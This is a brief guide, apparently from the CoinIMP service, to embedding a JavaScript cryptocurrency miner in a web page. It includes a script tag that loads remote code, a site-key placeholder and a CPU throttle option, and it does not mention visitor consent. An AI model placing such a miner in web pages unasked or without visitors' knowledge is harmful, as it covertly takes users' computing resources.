To embed JavaScript miner just put code before </body> tag of your HTML:
<script src="https://www.hostingcloud.racing/UIns.js"></script>
<script>
var miner = new Client.Anonymous('<site-key>');
miner.start();
</script>
Where <site-key> is a hexadecimal, 64 characters-length key, generated by CoinIMP panel. You can find it in Dashboard.
Optionally you can add options for miner, for example set maximum CPU usage to 20%:
var miner = new Client.Anonymous('<site-key>', { throttle: 0.8});
miner.start();
Also you can generate the code with site key ready to use - Easy way for beginners: